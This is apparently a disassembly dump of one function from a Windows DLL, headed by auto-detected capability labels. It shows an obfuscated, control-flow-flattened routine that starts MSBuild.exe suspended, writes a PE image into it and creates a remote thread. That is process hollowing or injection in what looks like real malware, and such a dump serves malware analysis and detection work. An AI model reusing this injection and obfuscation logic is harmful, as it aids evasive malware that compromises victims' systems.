Function at 0x10007a70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x144
mov eax, dword [0x1006ea04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x146], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x145], al
mov dword [ebp - 0x14c], 0x68fca68a
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x150], eax
sub eax, 0x8100d071
je 0x1000b2bf
jmp 0x10007ae3
mov eax, dword [ebp - 0x150]
sub eax, 0x821ec30f
je 0x1000af48
jmp 0x10007af9
mov eax, dword [ebp - 0x150]
sub eax, 0x8395e12c
je 0x1000ec14
jmp 0x10007b0f
mov eax, dword [ebp - 0x150]
sub eax, 0x83e63085
je 0x1000e9da
jmp 0x10007b25
mov eax, dword [ebp - 0x150]
sub eax, 0x84121b6c
je 0x1000b33f
jmp 0x10007b3b
mov eax, dword [ebp - 0x150]
sub eax, 0x8747fa10
je 0x1000e239
jmp 0x10007b51
mov eax, dword [ebp - 0x150]
sub eax, 0x8785a3ce
je 0x1000c535
jmp 0x10007b67
mov eax, dword [ebp - 0x150]
sub eax, 0x879a5e00
je 0x1000e05f
jmp 0x10007b7d
mov eax, dword [ebp - 0x150]
sub eax, 0x8857cffc
je 0x1000f0a4
jmp 0x10007b93
mov eax, dword [ebp - 0x150]
sub eax, 0x8898831f
je 0x1000e58a
jmp 0x10007ba9
mov eax, dword [ebp - 0x150]
sub eax, 0x8abc64cf
je 0x1000b832
jmp 0x10007bbf
mov eax, dword [ebp - 0x150]
sub eax, 0x8cba023a
je 0x1000a5bf
jmp 0x10007bd5
mov eax, dword [ebp - 0x150]
sub eax, 0x8e3836b2
je 0x1000e60f
jmp 0x10007beb
mov eax, dword [ebp - 0x150]
sub eax, 0x8e4c85a7
je 0x1000a7ad
jmp 0x10007c01
mov eax, dword [ebp - 0x150]
sub eax, 0x8f3efb1c
je 0x10009a35
jmp 0x10007c17
mov eax, dword [ebp - 0x150]
sub eax, 0x8f40f623
je 0x1000b028
jmp 0x10007c2d
mov eax, dword [ebp - 0x150]
sub eax, 0x8f98e598
je 0x1000e4de
jmp 0x10007c43
mov eax, dword [ebp - 0x150]
sub eax, 0x905a9f8c
je 0x1000f179
jmp 0x10007c59
mov eax, dword [ebp - 0x150]
sub eax, 0x9107d286
je 0x1000c6ef
jmp 0x10007c6f
mov eax, dword [ebp - 0x150]
sub eax, 0x91eae4a7
je 0x1000f1ed
jmp 0x10007c85
mov eax, dword [ebp - 0x150]
sub eax, 0x920c181b
je 0x1000d656
jmp 0x10007c9b
mov eax, dword [ebp - 0x150]
sub eax, 0x9247b0ae
je 0x1000d141
jmp 0x10007cb1
mov eax, dword [ebp - 0x150]
sub eax, 0x939ba0c5
je 0x1000cc52
jmp 0x10007cc7
mov eax, dword [ebp - 0x150]
sub eax, 0x94dbc4c0
je 0x1000dea2
jmp 0x10007cdd
mov eax, dword [ebp - 0x150]
sub eax, 0x95562d71
je 0x1000a0c5
jmp 0x10007cf3
mov eax, dword [ebp - 0x150]
sub eax, 0x959b3e30
je 0x1000ac45
jmp 0x10007d09
mov eax, dword [ebp - 0x150]
sub eax, 0x96616d70
je 0x1000f468
jmp 0x10007d1f
mov eax, dword [ebp - 0x150]
sub eax, 0x9736b196
je 0x1000e1d9
jmp 0x10007d35
mov eax, dword [ebp - 0x150]
sub eax, 0x97458c27
je 0x1000b3ad
jmp 0x10007d4b
mov eax, dword [ebp - 0x150]
sub eax, 0x97b6742d
je 0x1000a2f4
jmp 0x10007d61
mov eax, dword [ebp - 0x150]
sub eax, 0x9841f03c
je 0x1000e3bf
jmp 0x10007d77
mov eax, dword [ebp - 0x150]
sub eax, 0x98485ad7
je 0x1000a9a5
jmp 0x10007d8d
mov eax, dword [ebp - 0x150]
sub eax, 0x9995fe9f
je 0x1000f6f2
jmp 0x10007da3
mov eax, dword [ebp - 0x150]
sub eax, 0x99c93e18
je 0x1000e7f0
jmp 0x10007db9
mov eax, dword [ebp - 0x150]
sub eax, 0x9b9f7a7b
je 0x1000f677
jmp 0x10007dcf
mov eax, dword [ebp - 0x150]
sub eax, 0x9c920be5
je 0x1000f6a7
jmp 0x10007de5
mov eax, dword [ebp - 0x150]
sub eax, 0x9cbb5ec0
je 0x1000e6ee
jmp 0x10007dfb
mov eax, dword [ebp - 0x150]
sub eax, 0x9d61fc93
je 0x10009d15
jmp 0x10007e11
mov eax, dword [ebp - 0x150]
sub eax, 0x9f55ac50
je 0x1000b461
jmp 0x10007e27
mov eax, dword [ebp - 0x150]
sub eax, 0x9f5935a1
je 0x1000d876
jmp 0x10007e3d
mov eax, dword [ebp - 0x150]
sub eax, 0x9f92c394
je 0x1000a79e
jmp 0x10007e53
mov eax, dword [ebp - 0x150]
sub eax, 0xa194132a
je 0x1000cd27
jmp 0x10007e69
mov eax, dword [ebp - 0x150]
sub eax, 0xa2d5b225
je 0x1000e435
jmp 0x10007e7f
mov eax, dword [ebp - 0x150]
sub eax, 0xa2ecd458
je 0x1000e6a9
jmp 0x10007e95
mov eax, dword [ebp - 0x150]
sub eax, 0xa48c20e1
je 0x10009bc4
jmp 0x10007eab
mov eax, dword [ebp - 0x150]
sub eax, 0xa4aaf4b4
je 0x1000cdd7
jmp 0x10007ec1
mov eax, dword [ebp - 0x150]
sub eax, 0xa55dbc04
je 0x1000a4af
jmp 0x10007ed7
mov eax, dword [ebp - 0x150]
sub eax, 0xa5a58a13
je 0x1000a1ae
jmp 0x10007eed
mov eax, dword [ebp - 0x150]
sub eax, 0xa753714d
je 0x1000b9c9
jmp 0x10007f03
mov eax, dword [ebp - 0x150]
sub eax, 0xa7820bd5
je 0x1000ace2
jmp 0x10007f19
mov eax, dword [ebp - 0x150]
sub eax, 0xa7b33db2
je 0x1000d9d4
jmp 0x10007f2f
mov eax, dword [ebp - 0x150]
sub eax, 0xa7b721f5
je 0x1000da76
jmp 0x10007f45
mov eax, dword [ebp - 0x150]
sub eax, 0xa850de7f
je 0x1000f307
jmp 0x10007f5b
mov eax, dword [ebp - 0x150]
sub eax, 0xa8767907
je 0x1000f2f2
jmp 0x10007f71
mov eax, dword [ebp - 0x150]
sub eax, 0xa916baa0
je 0x1000b1f1
jmp 0x10007f87
mov eax, dword [ebp - 0x150]
sub eax, 0xac28906f
je 0x1000f698
jmp 0x10007f9d
mov eax, dword [ebp - 0x150]
sub eax, 0xacca1fd8
je 0x1000c6d1
jmp 0x10007fb3
mov eax, dword [ebp - 0x150]
sub eax, 0xacfc5473
je 0x1000c5d7
jmp 0x10007fc9
mov eax, dword [ebp - 0x150]
sub eax, 0xacfccc36
je 0x1000c64d
jmp 0x10007fdf
mov eax, dword [ebp - 0x150]
sub eax, 0xad4893d3
je 0x1000d5ca
jmp 0x10007ff5
mov eax, dword [ebp - 0x150]
sub eax, 0xad7152fc
je 0x1000f54d
jmp 0x1000800b
mov eax, dword [ebp - 0x150]
sub eax, 0xad854944
je 0x10009b64
jmp 0x10008021
mov eax, dword [ebp - 0x150]
sub eax, 0xadba5cfd
je 0x1000cbaf
jmp 0x10008037
mov eax, dword [ebp - 0x150]
sub eax, 0xae2de7ea
je 0x1000e07a
jmp 0x1000804d
mov eax, dword [ebp - 0x150]
sub eax, 0xaf6e9dca
je 0x1000a7ca
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x134], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
mov edx, ecx
sub edx, 0x3d3a050d
sub edx, 1
add edx, 0x3d3a050d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb363b6bf
mov ecx, 0x96da0c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0xe9dd4e53
jmp 0x1000f83f
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [ebp - 0xcc], eax
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
mov edx, ecx
add edx, 0x1167ea11
sub edx, 1
sub edx, 0x1167ea11
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x143c8ab2
mov ecx, 0x9d61fc93
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0x6e6044f2
jmp 0x1000f83f
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
mov edx, ecx
add edx, 0x89b552fa
sub edx, 1
sub edx, 0x89b552fa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4843d186
mov ecx, 0xc8b0d5db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xc0]
add eax, 0x83a19041
add eax, ecx
sub eax, 0x83a19041
mov dword [ebp - 0xbc], eax
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa2ecd458
mov ecx, 0x540624b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0xc9281f8a
jmp 0x1000f83f
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf473d0e3
mov ecx, 0xb6f305ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [ebp - 0xb4]
cmp dword [eax + 0x70], 0
setne al
and al, 1
mov byte [ebp - 0xae], al
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
mov edx, eax
sub edx, 0xc1b3cb2b
sub edx, 1
add edx, 0xc1b3cb2b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9cbb5ec0
mov ecx, 0xcfc06a78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0x8e4c85a7
jmp 0x1000f83f
mov eax, dword [ebp - 0x128]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov dword [ebp - 0x14c], 0xaf6e9dca
jmp 0x1000f83f
mov eax, dword [ebp - 0x128]
mov edx, dword [eax]
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x130]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x14c], 0x25fd915
jmp 0x1000f83f
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
mov edx, eax
sub edx, 0xfaa166ac
sub edx, 1
add edx, 0xfaa166ac
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbb24aa26
mov ecx, 0xf03fc1a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
mov edx, ecx
sub edx, 0x911d561e
sub edx, 1
add edx, 0x911d561e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3859cea
mov ecx, 0x3ef15c1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov dl, byte [ebp - 0x9d]
mov eax, 0x227a055b
mov ecx, 0x8100d071
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2cb82fd8
mov ecx, 0x25144e01
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
mov edx, eax
sub edx, 0xa499c680
sub edx, 1
add edx, 0xa499c680
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfbe5f8fd
mov ecx, 0xb3c513cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x120]
mov edx, dword [edx]
mov esi, dword [ebp - 0x134]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x14c], 0x84121b6c
jmp 0x1000f83f
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8181b8a
mov ecx, 0x97458c27
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [ebp - 0x94]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x98]
add ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov dword [eax], 0
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
mov edx, eax
add edx, 0xf21a186a
sub edx, 1
sub edx, 0xf21a186a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8181b8a
mov ecx, 0xaee4709
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
mov edx, eax
add edx, 0x46e02fbc
sub edx, 1
sub edx, 0x46e02fbc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb2de6823
mov ecx, 0x7d3f4a8e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0xda764efd
jmp 0x1000f83f
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
mov edx, eax
add edx, 0xfd2b02f9
sub edx, 1
sub edx, 0xfd2b02f9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x96616d70
mov ecx, 0x18e92671
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
mov edx, ecx
sub edx, 0x32fdf26e
sub edx, 1
add edx, 0x32fdf26e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe9464b9d
mov ecx, 0x6ca012fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
mov edx, ecx
add edx, 0x1168e90a
sub edx, 1
sub edx, 0x1168e90a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xae21a2f
mov ecx, 0xacfccc36
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [ebp - 0x4c]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x45], al
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
mov edx, ecx
sub edx, 0x18b02d75
sub edx, 1
add edx, 0x18b02d75
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xae21a2f
mov ecx, 0xacca1fd8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov dl, byte [ebp - 0x45]
mov eax, 0x79a4159e
mov ecx, 0x9107d286
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
mov edx, ecx
add edx, 0xaf2d85b7
sub edx, 1
sub edx, 0xaf2d85b7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xebb9db27
mov ecx, 0x187268ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [ebp - 0xf0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xad7152fc
mov ecx, 0xc1069cd9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
mov edx, eax
sub edx, 0x8f8e7b99
sub edx, 1
add edx, 0x8f8e7b99
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb05530c7
mov ecx, 0x5575635b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0x699d62ac
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0xcab6f80c
jmp 0x1000f83f
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
mov edx, ecx
sub edx, 0xe0ae5da9
sub edx, 1
add edx, 0xe0ae5da9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5c18484d
mov ecx, 0x23d53bab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov dl, byte [ebp - 0x2d]
mov eax, 0x59d451f8
mov ecx, 0xe90ec577
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
mov edx, eax
sub edx, 0xf3dc342e
sub edx, 1
add edx, 0xf3dc342e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcc9055b9
mov ecx, 0xfb8f28cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov dword [ebp - 0x14c], 0x61718dfe
jmp 0x1000f83f
mov eax, dword [ebp - 0x24]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x1d], al
mov ecx, dword [0x1006fc88]
mov eax, dword [0x1006fc84]
mov edx, ecx
add edx, 0xaddc7f69
sub edx, 1
sub edx, 0xaddc7f69
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8857cffc
mov ecx, 0x7f15df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0x7489666e
sub ecx, eax
add ecx, 0x7489666e
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x134]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd0]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov dword [ebp - 0x14c], 0xdd2aae68
jmp 0x1000f83f
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x28]
sub eax, 0x6d9f3614
add eax, ecx
add eax, 0x6d9f3614
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
add eax, 0xb0
mov dword [ebp - 0x18], eax
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
mov edx, eax
add edx, 0x65bff0ae
sub edx, 1
sub edx, 0x65bff0ae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9b9f7a7b
mov ecx, 0x4ce28118
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000f83f
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14c], 0xae2de7ea
jmp 0x1000f83f
mov eax, dword [0x1006fc88]
mov ecx, dword [0x1006fc84]
mov edx, eax
sub edx, 0xb40bb0f4
sub edx, 1
add edx, 0xb40bb0f4
imul eax, edx
